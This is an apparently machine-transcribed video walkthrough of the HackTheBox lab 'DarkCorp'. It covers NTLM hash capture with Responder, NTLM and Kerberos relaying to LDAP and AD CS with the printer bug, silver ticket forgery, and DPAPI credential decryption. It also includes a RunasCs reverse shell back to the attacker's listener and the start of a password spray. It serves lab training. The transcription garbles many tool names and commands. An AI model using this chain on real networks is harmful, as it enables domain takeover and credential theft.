HackTheBox - DarkCorp


because this is a bit quicker. We can see let's see my post request.

HackTheBox - DarkCorp


We said port 80. So, we can probably make this any port we want, right? Um, we're probably not limited to the three. It just has three because that's the default, but let's see. We can say 22 send uh response inval. I'm not sure exactly what happened there, but I'm guessing we may be able to change things. Um, or maybe not. Maybe it detects if it's not a valid port. Um, there we go. It's crashing every time. So, refresh this page. That works. Uh, I'm curious and I close Burp Suite. Let's go open it back up and we'll try this. I thought I was done with it for the video, but apparently my curiosity has the better of me. So, I put this back through a sock proxy and then once I get into Burp, I'm going to go to the network and then we're going to configure it to use our socks proxy. And that will enable us to hit this page. Right? So network connections

HackTheBox - DarkCorp


socks proxy 127001 1080. Let's use it.

HackTheBox - DarkCorp


And we will do a check. Now we're here. Let's set it to 22.

HackTheBox - DarkCorp


Forward. An error occurred. So I think we can actually get this to change things. Um, I'm actually curious. Uh, host. I wonder what if we do 10 1048 and let's change the port to 9,0001, right? NC LVNP 90001 for this. It does not come back to us. Um, we just get a generic error. So maybe we can't change the port to be anything we want.

HackTheBox - DarkCorp


Um, or it could just be checking web, right? I don't know exactly how this check is working. Uh, let's see. One last thing real quick. Uh, we should have a shell somewhere, right? There we go. Let's do Python 3 MHCP server 9,0001.

HackTheBox - DarkCorp


Okay, let's see. Let's give the history.

HackTheBox - DarkCorp


We keep getting not authorized.

HackTheBox - DarkCorp


That's weird. I wonder if Burp isn't doing this um authentication. Something odd is going on here. I think let's just do check. Intercept is on. 9,01 forward. Error occurred. We didn't get a page.

HackTheBox - DarkCorp


Um, I'm just going to try this. Turn it off.

HackTheBox - DarkCorp


Yeah, I think Burp is not doing the NLM authentication correctly because now that I'm proxied, um, we're just getting unauthorized all the time. So, that is definitely odd, but uh let let's just move on.

HackTheBox - DarkCorp


Uh let's close that, I guess. Definitely don't need it. So, did I was I sending it to the wrong host?

HackTheBox - DarkCorp


God darn it. I really want to see. I'm sorry for wasting your time, but hopefully um you find this valuable to see. I'm really curious what is going on here. Uh let's go here. And these are the tangents I do when I'm solving the video or solving the box. Uh I always go on these weird things. So now we're definitely going to drip. We're protocol HTTP. That should be fine because we are listening on 9001 there. Okay. Um we have to go back into the settings network. Uh was it connections socks is on okay change this protocol 9001 forward error occurred nothing happened here so yeah I don't think something's working correctly but if we don't have burpuite uh We have to go through socks. This works. So the host itself is not listening on AD80. So if I do this check, we have error occurred and the host itself

HackTheBox - DarkCorp


rep 8080 is not listening. So what we can do is listen on AD80 and forward it back to us and then we'll be able to have the server reaching back to our box. So let's go ahead and try this. And the gateway ports is not on the box. So we can't use SSH for this. Normally you could do like - R the um interface the port you want to listen on. Then where you want to send it to through the SSH connection or this wouldn't be two. This would be 10 10 148. Um let's send it to 9090 because I have Burpuite running that is listening on 8080. So we forwarded this port. But if I do SSLnt look at 8080, it's on 127001. So since the gateway ports is not enabled in my SSHD config, that means I can't have SSH listen on anything other than loop back, which kind of sucks. So let's do what is it? KR to remove um

HackTheBox - DarkCorp


-ash KR127001 8080 unknown port forwarding. Let's just restart SSH. Uh we can do our dynamic tunnel because we know we need that. And I'm going to use um soat. So let's do a um which socat make dubdubdub cp user bin socat here I'm going to hope this the same architecture we could just run this uh kill that server so let's go dev shm wget 10104 148 8000 SOCAT. There we go. chod plus X soat.

HackTheBox - DarkCorp


And awesome, the program executes. So here we want to make it um listen on 8080. So I'm going to do soat TCP listen colon 8080 reuse address fork and we're going to forward it to 10 1048. Um I'm just going to do 80 right now because I want to show it like working with responder. So hit enter. So now this box is listening on 8080 and forwarding everything to port 80 on my box. Right?

HackTheBox - DarkCorp


So if I do pseudo net lvnp 80 then we make this request again we hit here and it sends the request here. So normally when you have this coming um I probably should have shown the headers. Let's see. This is a Python request header. Um, let's see.

HackTheBox - DarkCorp


Where's it going with that? We can try responder. This is coming from web 01, which is a Windows box. So, if we do responder ton zero, um, is it lowercase R? There we go. Uh, 53 is fine. We're not using DNS. Run this.

HackTheBox - DarkCorp


It should come through. Um, I already have the hash. Let's do RM user share responder responder database. So you can see the NLM hash.

HackTheBox - DarkCorp


There we go. This is actually not crackable, unfortunately. But this is the net NLM v2 hash. Um, we can't crack this. We're going to have to depend on NLM relaying. But before we get into that, I want to show something else that I troubleshooted probably for a day when solving this box. Um, my responder worked, but OXDS did not. And it took us a while to figure out. There was a change put in place that actually broke it. Um, so let's just show grabbing the latest responder. So, um, GitHub responder.

HackTheBox - DarkCorp


Let's take the socks proxy off so we can go to the internet. And let's see. This is not the right repo because this one is stopped. It's like land x, right? Um let's see deprecated active here. Um let's see. Has my issue got any comments? I did put a notice here. So uh essentially there was an update to responder that added this negotiate header. So it may try kerros and when it does that we don't get that net nm v2 hash. So that's what this um issue is saying that it had created. But let's go back here real quick. Let's just clone this and I can show it. Um, get clone cd responder. And we want to be root. Uh, Python 3-m VM.VM.

HackTheBox - DarkCorp


And we want to be root because we got to listen on low privilege ports. Um, and I generally don't like using proxy chains with pseudo because weird things happen with capabilities and things break. Um, it actually doesn't matter for Responder because we're not using proxy chains, but I just want to get in the habit of using root when I do this type of thing. Um, so let's do source VM bin activate pip 3 install-r requirements.ext. So now we're on the uh latest version, python 3-m.

HackTheBox - DarkCorp


It's a capital R here, right? LS Python 3. I don't know why I did dash M. It's just responder it ton zero.

HackTheBox - DarkCorp


So when I do this and we're going to have socks enabled do the check. We don't get any output here, right? I'm going to do a pseudo wire shark and my computer's going to go slow potentially. Free up some memory.

HackTheBox - DarkCorp


Uh where's ton zero? Hit this. We can see it making requests, right? Uh do follow HTTP stream warrant stream 3. And this header is because it was negotiate. It's trying to do something with Keraros. Um, and how the program works, the first request is always going to come from the Python library. We can see this is Python request. Then the second request is actually going to be PowerShell making it. And PowerShell makes a request to identify what options are available. We have two dubdubdub authenticate where negotiate and NLM.

HackTheBox - DarkCorp


Negotiate just means use the strongest one. If you have kerros, use kerros. If not, then fall back to probably um NLM, right? And the older version of responder doesn't have this header. So, this one is where we actually steal the net NLM v2 hash, but it's doing a curb roast request. In the NLM authentication, you'll see this negotiate be much much smaller. Right?

HackTheBox - DarkCorp


I'm going to stop this. We're going to switch over to um the other responder and I'll show that real quick. So pseudo responder it ton0.

HackTheBox - DarkCorp


Let's make sure we are started. Continue without saving. Go here. Check.

HackTheBox - DarkCorp


So stream two. I'm going to follow this stream.

HackTheBox - DarkCorp


And we see there's only one dubdubdub authenticate net uh NLM. And then if I go into stream three, we do follow HTTP stream, we see this header is really small. That's just going to be like NLM SSP. I want to say echo base 64-d. Yeah, NLM SSP.

HackTheBox - DarkCorp


So that's the thing is trying and then we steal the hash, right? So essentially what my um issue is saying is if we remove that extra header then it just magically works. Um so I'll show that real quick. And this took me the better part of a day to figure out. I'm showing it really quick in the video, but lots of troubleshooting went on here. Like I actually went through commits like down 10 at a time and found which commit broke. So, I kind of went through like just a brute force of get checkouts until I found one that broke and then looked at things that changed.

HackTheBox - DarkCorp


Right? This authentication did not stick out to me. Um, packets.py is what I want. So, I'm just going to v packets.py.

HackTheBox - DarkCorp


Go here. And we're going to comment this out.

HackTheBox - DarkCorp


Change this to just dubdubdub off. Save it.

HackTheBox - DarkCorp


Run this responder. And hopefully the demo gods don't bite me. And this just magically works. Now, make sure we're on socks. Check. And there we go. We got it. So, hopefully you enjoyed this probably I don't know a 10-minute tangent showing this small troubleshooting. But if you are trying to get this net nm2 hash and it's not working, this is probably your issue. But um all that's not needed because we can't crack the hash. We have to depend on something called um NLM and Kobe relaying. So if we do proxy chains um net exec SMB 172 1621, we'll see SMB signing is enabled. And that's default for domain controllers. Hopefully all your clients have SMB signing enabled as well because that prevents a lot of relay attacks. Um, if we try and check LDAP, which I don't know if it's now a default. I know it didn't used to be. They may have changed it. I don't think it's default. We see

HackTheBox - DarkCorp


there is no um signing required, which means we'll be able to do NLM relaying.

HackTheBox - DarkCorp


So, let's just um set that up to go here. So, let's make dur um I'm going to do relay because it's going to create a bunch of files and I don't feel like putting it in that directory. Um, I'm going to make sure I'm root because this has to listen on a lot of ports and we will need to use proxy chains because we take that connection and then forward it somewhere. So, we need to be able to go through the proxy and this is where if we use pseudo as well, things would just break. Um, bordu um impact was it nm relay x? There we go. I got rid of proxy change there because it breaks my tab autocomplete on programs which is annoying. Uh we're going to forward it to LDAP 1721621.

HackTheBox - DarkCorp


And then we want to stand up a HTTP port. Um we could do 80 again. I'm just going to do 9090. Um and then all we have to do is go back to where our SOCAD is and then put this at 9090.

HackTheBox - DarkCorp


So when a connection comes on 9090, we're going to use that and attempt to authenticate to the domain controllers LDAP, right? So let's send this. We get a client request. We forward it. We authenticate it as Dark Corp service account. We enumerated the privilege dump domain info and we have bunch of information here, right? Um we could go through it that way. I like Blood Hound better. So that's why I'm going to go back here. We were the service account dark court. So we have successfully relayed from this. I'm going to mark it as owned. It's kind of halfowned, but it's good enough, right?

HackTheBox - DarkCorp


If we look at member of, we see we're a member of DNS admin. So chances are we can create DNS accounts, but there's really no other scary privileges, right? If I go down to outbound object control, there's nothing else. Same certificates. So there's not much more we can do but we can create um accounts. We can also try to forward it to um the certificate service. So if we do let's go back here.

HackTheBox - DarkCorp


What is it? HTTPS 172 1621.

HackTheBox - DarkCorp


This will probably be the domain controller, right? Uh s serve So, we probably have the certificate service here. Um, instead of disabling the proxy, I'm just going to use Chrome. Where is it? Uh, certify wiki. They have the enrollment URL here. So, what we're going to do is forward the communication over to the certificate service and try to enroll the account or enroll something and that could potentially get us a um, NLM hash or something, right? So is this it? Let's see.

HackTheBox - DarkCorp


Serve. So the default URL isert serve finish.Aasp.

HackTheBox - DarkCorp


So let's try um doing ntlm relay there. So the target is no longer going to be ldat. It is going to be um https dco1 dartcp.htb. htbert serve cert finish and we'll do d-adcs to try to um have it enroll in the certificate. I still have this ox proxy up. Go here. We request negotiating NLM has failed. So NLM authentication with this is not there right. Um, I bet there is a good way to enumerate that. Let's see if we just do a curl-ash I to look at the headers. Uh, it's self-signed. Dash k to accept that. Dubdubdub authenticate is sent to negotiate. Um, this doesn't mean it's keros. It can mean um strongest. So, it's probably keros falling back to nm and then says it's disabled. But um if this was dubdubdub authenticate NLM, we know for sure we can probably use NLM authentication there. It being negotiate means definitely Kerros potentially NLM.

HackTheBox - DarkCorp


It looks like NLM is disabled. I don't know how to fingerprint it beyond that, but um we can use KB relay. And now when we use KB relay, we're going to need to give it a um host name. And we're going to have to do a weird trick to marshall something. So we can also become DC1. We can't just make the DNS request DC-1 because there's a unique constraint. And if we do that, it just doesn't work because there's already a DC1. But we append a Marshall string to that. So when it makes a weird call, it chops that string off. Um but before we do that, I'm going to show using NLM relay. We're going to add the um DNS name IPSC and then we're going to try it with IPS so you can see it fail. Um so we want to go back to the LDAP and then what we're going to do is add DNS records 1010148. Okay.

HackTheBox - DarkCorp


Server started. Let us do this.

HackTheBox - DarkCorp


Controll LDAP. Um, there we go. A record has been created.

HackTheBox - DarkCorp


So now we want to use Kobe B relay. So we have to go ahead and grab that. Um, Kobe relay GitHub. Um, is this the what I used three years ago? I want to say it was this one, right?

HackTheBox - DarkCorp


This is more recent commits. I hope this is it. Get clone k relay.

HackTheBox - DarkCorp


Um, we already have a Python VM. Uh, we probably have to install M packet too, right? Um, maybe not.

HackTheBox - DarkCorp


Uh, oh, I'm not in a VM. Let's just do this real quick. Python 3-m.

HackTheBox - DarkCorp


Let's create this source VM bin activate.

HackTheBox - DarkCorp


Uh, let's go install impact real quick. That's under the Fortra repo, right?

HackTheBox - DarkCorp


Yep. Let's just clone this.

HackTheBox - DarkCorp


And I like setting up this VM. It may have worked without it, but um I think it's easier for the video if it's set up because your environment may not be the same as my environment, right? So that's why I like just taking the extra 5 10 minutes to set this up.

HackTheBox - DarkCorp


Okay. And now we have this weird issue. Um this is what I wanted to show. I think the latest version of impact got rid of this and um the fix I have is probably a bad one. Um, if we gppp this on the M packet, we can see, let's see, let's just go out of here.

HackTheBox - DarkCorp


GP get file time off this file and we'll do dash A5. There we go. Here's the function of get file time. I think they just removed it out of the library. So let's run this KB relay again. Um it's going in where is it?VM. Uh where is it? Oh KB not VM. We can do lib servers SMB relay server.py.

HackTheBox - DarkCorp


It's going to attempt to import get file time. Let's just comment that out. and then create that function. I think it's four spaces. Yep, I did 4x.

HackTheBox - DarkCorp


There we go. And there we go. It rocks. Works. So, let's see. To do a KB relay, uh, what do we have to send? I'm going to put it in debug and we're going to forward it to https dc1 dart corp.htbert htbert serve certin.asp ADCS um address already in use.

HackTheBox - DarkCorp


Is that going to be DNS again? Oh, that is just DNS. I'm not using DNS, so I'm going to ignore that error. So now if I do check oh I actually have to do something else. Um we're not actually going to use this to set the request because this is going to be the service account for the web the SVC um service. We can also use a trick called the printer bug trick to force the machine to make a request back to us. So that's actually what I'm going to do. So let's do this. Actually has to be proxy chains.

HackTheBox - DarkCorp


And then what I want to do here is a proxy chains. It's actually in the um KB relay. Proxy chains print a bug. Okay. And we want to authenticate with Dart Corp Victor R. And then that password get creds. Copy.

HackTheBox - DarkCorp


Put in the password here. And then at web01.darkcp.htb HTB and then we will say um our domain which was IPSAC uh Python 3. Let's see. We authenticate. We receive the connection, but it doesn't do anything with the connection. And this is because um we're foring the Kerros request over to the domain controller. And when it's doing that credit on Marshall, it's getting that domain name of IPS and it's like, hey, you're trying to connect to me from like with the target of IPS. I'm DC1. So that's the check we have to now um fix. And there is a good post about this. Um, I'm going to do relaying Keraros over SMB Caribbe Relay X. It's on synactive. Oh, come on. Bikes again.

HackTheBox - DarkCorp


Why does it really want me to click bicycles? All selecting images. Oh, there's a bike. There's a bike. There we go.

HackTheBox - DarkCorp


Come on, Google. There we go. This an active article. So, I would highly recommend reading this.

HackTheBox - DarkCorp


Um, this is how it's going to show like when it does a um cred on Marshall target info. It expects something like this. And it's like a buffer thing, right? And expects like target and then SPN or something. But if we just append our host name with this string like a blank marshall or whatever it wants to be called, it gets just removed. So this is how we can bypass that constraint and then have us still be um DC1.

HackTheBox - DarkCorp


So we're going to do the same thing except up here uh we got to go back to NLM relay. We're going to add the record and we're going to do instead of ipsseack DC01 and then that I know it looks weird. So let's copy this.

HackTheBox - DarkCorp


Um what?

HackTheBox - DarkCorp


Let's do deactivate. It's probably something weird going on with my VM with impact. There we go.

HackTheBox - DarkCorp


Um, still in socks. Check. Let's create this host name.

HackTheBox - DarkCorp


Okay, there we go. We have now created that weird dco1 and that host um source.vm bin activate. Let's do the same kb relay. And now we're going back to printerbug.

HackTheBox - DarkCorp


And what we're doing is tricking the web 01's printer spool service to connect to this domain or this host name, right? And when it does, it's going to call that credit on Marshall and the target's magically just going to be DC1. But this unique one comes back to us. There we go. Um, it did not work. So, he probably screwed something up with the DC name of Let's see.

HackTheBox - DarkCorp


Petite Podm. See, maybe we want this. Is this what I put in? It is pretty picky. Uh, there is no B. So, I did the wrong uh Marshall. So, you can't just grab anything apparently. Uh, deactivate.

HackTheBox - DarkCorp


Let's try this again. NLM relay.

HackTheBox - DarkCorp


Let's add this record. I want to say this is the right record.

HackTheBox - DarkCorp


Um, check. Should add the host.

HackTheBox - DarkCorp


There we go. We have now added it. Source GB relay.

HackTheBox - DarkCorp


Let's do that. Print a bug again attempting to trigger. There we go. So now we have authenticated and we got this certificate and we're actually going to be the um web 01 machine account. So let's use certifi now. I can probably deactivate this. I'm going to copy this unknown certificate up to directories.

HackTheBox - DarkCorp


Um, we don't need to be root anymore. So, we can do a proxy chains certifi um off pfx unknown domain dark corp.htb htb DCIP 1721621 and hopefully we'll get the NLM hash of this account. There we go. Um, saving credential cache and we have the NLM hash of web01 right here. So, what we can do with this is create a service ticket or not a service ticket, a silver ticket. So, I'm going to do um ticket.py and then we want to do the ent. And then the domain is darkcorp.htb the domain SID. We have to go ahead and get that. Um and what the silver ticket is like when you create I want to say um a TGT. It's one of the Kerros tickets, right? It gets signed with the machine accounts password and says what that account is valid for. Since we have the machine account password, we can just forge those tickets. So that's what's called the silver ticket when we do that forgery. Um, so let's go to the domain.

HackTheBox - DarkCorp


Uh, what is this? Dartcp.htb.u. Uh, where's the SID?

HackTheBox - DarkCorp


Uh, we can just get it from any user. Uh, let's do uh we're Victor, right?

HackTheBox - DarkCorp


So, user account control, the user SID, the last three digits is going to be the user ID, but this is going to be the domain SID. So, we can get that. And then after the domain SID, what do we need? Um, SPN.

HackTheBox - DarkCorp


So, I'm going to give it the SPN of CIFS, which is SMB of web.dartcp.htb.

HackTheBox - DarkCorp


And we're going to say we're administrator. So, if we create this ticket correctly, we will now have SMB access to the box. So what we can do is a proxy chains secrets. Do I not have secret dump? Oh, it's probably because um yeah, that's killing my autocomplete. Um, so we'll do proxy chains secret dump-k web01 dark corp htb and carob 5cc name is equal to um web 1cc cache. There we go.

HackTheBox - DarkCorp


Proxy chains. Okay. And the whole reason why we're using the printer bug on We screwed something up. Um I was going to say the reason why we keep using web 01 to do this. You can't really forward um things back to the same target. So this is why we can't do the print a bug to DC1 and get DC1's machine account because you can't just forward it back to the same thing. Uh but we can forward it from web to DC1. And I spotted what I did wrong. Um we're using web 01cc cache. Uh we want to actually use the administrator. We didn't actually use the ticket we forged. Um so let's go ahead and switch this and hopefully that works.

HackTheBox - DarkCorp


There we go. We have started the remote um registry. So now we're dumping the SAM of the computer. A lot of people just run secrets dump against domain controllers and that performs a DC sync. If you run it against a workstation with the appropriate privileges, you should be able to dump the SAM which gets you a lot of cool information such as the local account password. So we have the local administrator hash right here. It also gets you like the dappy master key for that workstation. So that's going to be what we dig into here. But now if I go down here, let's do proxy chains net exec SMB uh 1721622. That's the workstation-u administrator- capital H. This is actually probably going to fail because we're trying to authenticate against the domain administrator, right? Um there's two administrators we want to specify

HackTheBox - DarkCorp


actually local o. So if we specify local o um we should see it say poned right.

HackTheBox - DarkCorp


Come on. There we go. Poned. So um that's good. And we see now it's dumping dpappy we or domain cache login dpappy is next. So this is the service account.

HackTheBox - DarkCorp


We could try cracking this to get this guy's password but we don't need that. Um, let's now use evil winrm to get on the box. So, we'll do evil winrm- i1721622- u administrator- capital h the hash I don't have the hash my clipboard anymore. Let's now copy this paste proxy chains and let's see cache login machine secrets. There we go. DPappy machine key and DPappy user key. But what I want to look at is this shell. Now, my favorite command is just the tree command on Windows. We can just do a tree/f dot from a user directory, and that's going to show us um files that aren't in hidden directories, but you can get a lot of good information here. We have this HTTP stability binary. And if I execute it, we just see this is not part of the path. and serves only a stability. So, I'm not going to look too

HackTheBox - DarkCorp


much into this binary. Um, if we go into documents cleanup, uh, we can look at this file and all it's doing is potentially restarting this W3 service.

HackTheBox - DarkCorp


I'm not sure exactly what's doing, uh, the purpose of that, but not much there.

HackTheBox - DarkCorp


Um, another thing I like doing is just like a get scheduled task. And if you just run this, you're going to get a lot of tasks, right? Um, I like just doing a where then task path not like Microsoft. And this generally does a good job filtering out um nonsystem tasks. Right?

HackTheBox - DarkCorp


So if you just look at this, we only have two um unique tasks. We have cleanup script and HTTP stability. Now if I want to uh we can dig more into this. So I'm going to do task is equal to get scheduled task task name cleanup script like that. And this should put the task as a variable. All right. Just making sure we did it correctly. Um so let's get the XML out of this. So I'm going to do XML is equal to export scheduled task task name task dot task name. You don't have to run this every time. Um I'm going to show you eventually the automated way to dump the important things out of this which is going to be stored credentials. Um and net exec does a good job at that.

HackTheBox - DarkCorp


But if we run this now, we can look at the XML.

HackTheBox - DarkCorp


And let's see, this is running every two minutes. Here's the command it's running. It's running that cleanup.ps1.

HackTheBox - DarkCorp


But the important thing to see here is login type is password. This means there's a password stored within this task, right? Um, if we just run net exec. So, let's see. Do I have that machine account? Let's just put that back on my clipboard.

HackTheBox - DarkCorp


um right here net exec will actually dump this credential for us. So if we did um NXE SMB, we have to proxy change it. Uh let's see 1721622- U administrator- capital H and then Dappy.

HackTheBox - DarkCorp


If we run this uh ad Oh, we have to do local off.

HackTheBox - DarkCorp


Um, it'll start dumping everything that's in the systems dpappy. Um, I'm going to show you how to do this manually, but I wanted to show this piece as well. Um, because normally I wouldn't go look at all the tasks. This is one of the commands I probably would just run blindly because it's relatively safe. Doesn't create a lot of alerts. But, um, it's collecting the dpappy master key now. And that is the keys we got from this SAM dump, right? So, it's going to get that. Uh, I guess we can show where these are stored. So, let's go. Um, cd back slash Windows system 32.

HackTheBox - DarkCorp


Uh, it's going to be config system profile and then this is going to be like the system users home directory. So, it's now just app data local Microsoft credentials. Uh this is going to be where the task manager stuff is. So if we just do GCI uh we don't have anything. If I do dash force, we do have this. And this is going to be the credential manager blob. Um we see net exec finishing that's going to contain this information. So let's do a copy this to C colon program data. Okay. And then I want to go up a bunch of directories because we have to get the um credential vault. So that's also going to be in the um system 32 directory. But that's now Microsoft protect I want to say um is it config Microsoft CD Microsoft is there a Microsoft directory there is uh protect and now we can just do the good old GCI- force

HackTheBox - DarkCorp


uh it's an S1518 18.

HackTheBox - DarkCorp


And we have these three blobs. These are going to be the vaults. So, let's copy this C colon program data. Copy this one.

HackTheBox - DarkCorp


Program data. And then finally this one.

HackTheBox - DarkCorp


Okay. So, if we go into program data now, we have all these files. They are still hidden. So, I'm just going to do a tri minus h minus s. And that's going to allow um Evo Winterm to download them.

HackTheBox - DarkCorp


Evo Winterm doesn't like downloading hidden files. It's annoying, but um it is what it is, right? So, let's just remove all this.

HackTheBox - DarkCorp


Okay. Now we can download each of these files.

HackTheBox - DarkCorp


Uh, permission denied. What?

HackTheBox - DarkCorp


Um, I wonder where my evil winterm is here. I'm in Kobe relay X. So I don't have permission to open because I created that directory when I was root.

HackTheBox - DarkCorp


Go here. CD program data download. Just download each of these.

HackTheBox - DarkCorp


Got two more. You can really appreciate how quick like um how helpful those impact modules are to speed this all up, right? But still important to be able to do it by hand just in case like edr or something is getting in the way or you're just working from um a backup that you pulled off the like file server or things like that. Always important to know how to do this stuff by hand. So there we go. We have everything downloaded. Um so let's go ahead and uh decrypt this. So let's go in my dpappy directory. I'm going to do dpappy.py.

HackTheBox - DarkCorp


And then we want to specify master key dash file. I'm going to try each of these dash key. And it's actually the user key. Um we did say secrets dump up on the other pane real quick. There we go. Dump lsa secrets.

HackTheBox - DarkCorp


Where is it? Dappy. We want this key.

HackTheBox - DarkCorp


Paste this. Um, cannot decrypt. Let's try another file. Uh, let's do 378.

HackTheBox - DarkCorp


Can't decrypt. Another file.

HackTheBox - DarkCorp


Uh, was 73.

HackTheBox - DarkCorp


Uh, oh, I think that should have decrypted.

HackTheBox - DarkCorp


Um, weird.

HackTheBox - DarkCorp


Maybe I grab the user blobs and not the master. Um, let's try grabbing the machine key and see if this works. If this doesn't work, we have to redownload the files because I grabbed the wrong thing. Um, that seems to have worked. Does this key decrypt it? Uh, let's do dpappy.py.

HackTheBox - DarkCorp


Uh, what is the next one? It's a credential-file uh 25e key. Padding is incorrect.

HackTheBox - DarkCorp


So, that's not it. Let's try the other blob.

HackTheBox - DarkCorp


File 03. Okay, we can try this.

HackTheBox - DarkCorp


Padding is incorrect. The final one.

HackTheBox - DarkCorp


Uh 378. Let's pray this works.

HackTheBox - DarkCorp


Padding is incorrect. So, we grab the master keys. It's actually uh protected with the user. So, we have to go back to the directory. What was it? Um, Windows System 32 Microsoft Protect CDS um CDS-1-518.

HackTheBox - DarkCorp


So, I don't think I went into the user directory because if we do, there's more blobs. Um, let's copy these. This is certainly annoying uh program data, but again, pitfalls that can happen if you're doing this all manually and important um learning lessons, right?

HackTheBox - DarkCorp


So, let's go cd program data trim minus h minus s. I'm just going to try this file first. Download. Please be this file.

HackTheBox - DarkCorp


Let's go here. Um, where's my other user key?

HackTheBox - DarkCorp


Don't think that's it, is it? 073 is what I wanted.

HackTheBox - DarkCorp


And the file began with a B, I want to say. There we go. There we go. So now let's try using this key. U that's the file. Here's the key. And there we go. We now have the administrator's password. Um this is going to be important because there's other data that is protected. Right? If I run this dappy again, um it's not going to do much, right? Because we've already ran it once. But I do want to show that in packet is somewhat smart.

HackTheBox - DarkCorp


If we authenticate to administrator with the local password and then run this again, it's going to add it into the net net exec database and be able to pillage more things, right? Because if I do nxc db um use no, it's proto smb list or what is it? Creds. We have these creds. Um, DPappy is protected with plain text passwords in a domain join machine. If it's not domain join, I want to say it's like the Shaw one summer or something weird. Uh, but domain join machines is protected by the plain text password and packet only knows the hash. So if there's any dappy stored things for administrator, it can't decrypt it because it doesn't know the hash, right? Um, there we go. That ran again. So, let's go ahead and do a -ashp and then we're going to run this. Let's put this in single quotes because

HackTheBox - DarkCorp


that exclamation point is a special character. Um, I actually don't want to run dappy.

HackTheBox - DarkCorp


I just want to show it'll automatically do it once it adds it to the database. Um, login failure. Uhoh. Uh, oh, I got rid of local o, not dappy. So this should be a login success, right? Come on. Owned. So now that administrator password is inside of net exec database. So when I run this again, we're going to get more decrypted keys or decrypted masters.

HackTheBox - DarkCorp


So there we go. It's prone. It's going to collect them and we'll get more data.

HackTheBox - DarkCorp


Um while this goes, let us just manually pillage this. Right.

HackTheBox - DarkCorp


And the master key is in app data roaming Microsoft protect. And then it's going to be the SID of the user. So let's just grab this cd here.

HackTheBox - DarkCorp


Uh I think I did a backspace instead of enter gci-force. And here we go. We have more keys. So let's go ahead and um copy these to program data.

HackTheBox - DarkCorp


Um, let's do a trib minus h minus s program data the key.

HackTheBox - DarkCorp


Let's now copy this and let's hide this key or unhide the key I guess I should say and then copy this program data and then a triv minus h minus s uh program data this okay so those are the master keys Uh let's see now we want to um go into local Microsoft credentials GCI Force and then we can download this blob. So this is going to be a special thing the user just has in their credential manager. So, we can copy this over to program data. And then the next command, you guessed it, let's unhide and unset it as a system file.

HackTheBox - DarkCorp


Uh, there we go. And then cd program data.

HackTheBox - DarkCorp


And we want to download all of these. So, I'm going to download.

HackTheBox - DarkCorp


And I'll get this next one queued up my clipboard because I have a feeling it's going to scroll away.

HackTheBox - DarkCorp


So, we did AA625. Aa I just downloaded that twice.

HackTheBox - DarkCorp


Um, let's see. Administrator Protect 189. There's too many of these. I do diir.

HackTheBox - DarkCorp


See 1209 is the latest.

HackTheBox - DarkCorp


I hope this is the right. Uh, where does this come from? This is 201. Oh god, this is not the time I copied them in the directory. Um, where's that GCI force? Uh, there's this. Let's download this.

HackTheBox - DarkCorp


go here. Okay, I'm going to move this to be admin dpappy cred vault.

HackTheBox - DarkCorp


Okay, so now we just want to know each of the master key files um administered app data. So 189603A.

HackTheBox - DarkCorp


Let's download this. Okay.

HackTheBox - DarkCorp


Let's just try this one first. Um master key. The file is this.

HackTheBox - DarkCorp


And then we're going to have to specify two things now. We have to specify the SID of the user. I'm just going to use blood hound to get that. Um, actually, uh, we have it over here.

HackTheBox - DarkCorp


500. So, we can grab this.

HackTheBox - DarkCorp


The reason why I chose not to use blood hound is because I may grab the like domain administrator said. It may be slightly different. So, um, I'm taking the safe route and just grabbing the SID from the box. And then we need the password. I want to say it's password. And that password is this um but lying. And we can see it got the other one.

HackTheBox - DarkCorp


Administrator credential web 01 pack beneath solid exclamation point. So it got a second credential. Um if I did this correct. There we go. We have a key. So let's do dpappy credential and the file we called it was admin dpappy and then paste in the new key. And there we go. Peak beneath solid 9 exclamation point. So that is how we can do it. And I'm going to show you one more thing with dpappy. I know you're probably sick of it. Um if I look at creds again, you can see it's got the plain text. That's how Crackmap exec knows it. But let's say we don't want to download these blobs to a local box. We just went like walking around the office. Someone left their computer logged in. Um if PowerShell has the module installed of um let's see, let's do get module list available. Let's see. Did I do this correct?

HackTheBox - DarkCorp


Hopefully I did. I did not expect. Okay, there we go.

HackTheBox - DarkCorp


um go up we have credential manager right and that's going to give us get stored credential now the issue when I'm doing it with PowerShell remoting is it doesn't store um the password in its memory right so that's why we fail with this error code we have to have an like interactive session so if I was using a C2 like cobalt interpreter or something like that and someone had a interactive session I would just migrate into their session because chances are they have their password stored for like single sign on type of things, right? If you're doing WinRM or PowerShell remoting, it doesn't do that. That is going to be called also the double hop problem. But to get around this, I'm going to copy um run as CS over to this box. So let's do CP option. Um, let's do net framework 47 and then run SCES. I'm just going to rename it like that.

HackTheBox - DarkCorp


And then we can do a wget http 10148 8000 run as c.exe.

HackTheBox - DarkCorp


Give it the file name of run as cs.exe. I think I still have something running. I don't. Python 3M http server.

HackTheBox - DarkCorp


There we go. So now let's get a shell. So we can do nclvnp 90001 and we can say run as cs.exe.

HackTheBox - DarkCorp


Um I want to say we just specify like the username and then the password, right? Yeah.

HackTheBox - DarkCorp


So administrator. Um, where's the password? It was like butt lying something.

HackTheBox - DarkCorp


Do I have it here? There we go. This is the administrator password.

HackTheBox - DarkCorp


Okay, I'm going to run cmd.exe and then what is it? - r 10 10 148 90001. So this is going to send me a reverse shell hopefully. There we go. Now I can run PowerShell and I have a interactive login now. So if I do a get um what was it? Um store credential we can see there is one here. So I'm going to do I should have done RL wrap so I had the up key but if I just do creds is equal to this now that's stored in a variable so we can say um creds.get network credential password and then we can view the data here. So there it is out of dappy just natively through PowerShell. So, um I would probably just like run this command if I had access temporarily to a computer and I suspected they used um Windows credential manager to store something. Uh I bet I could just even do this in one line, right?

HackTheBox - DarkCorp


So, you could also do what is it? Username to get the user out of it.

HackTheBox - DarkCorp


Uh let's do username. Right? So, that is the third way we could do it. Um, hopefully you find value in showing all of this and I'm not just wasting your time. Um, if you think it's a waste of time, it sucks for you didn't use the time stamp to jump around in the video because I try to make that easy. So, now what we want to do is a password spray. Um, did I not save the last password? It's probably here, right? Okay. So, we have this peak beneath solid nine. So, we want to perform a password spray. So let's now um go to a blood hound data and let's do cat this jq dot less uh we want to go what like dot data it's been a while since I've done this data Uh properties same account name probably properties Sam account name please work that's not it data properties data properties work dot Sam account name all lowercase. There we go. So there we go.

HackTheBox - DarkCorp


We have usernames. Uh let's go grab this password again and let's do nxc SMB 1721621.

HackTheBox - DarkCorp


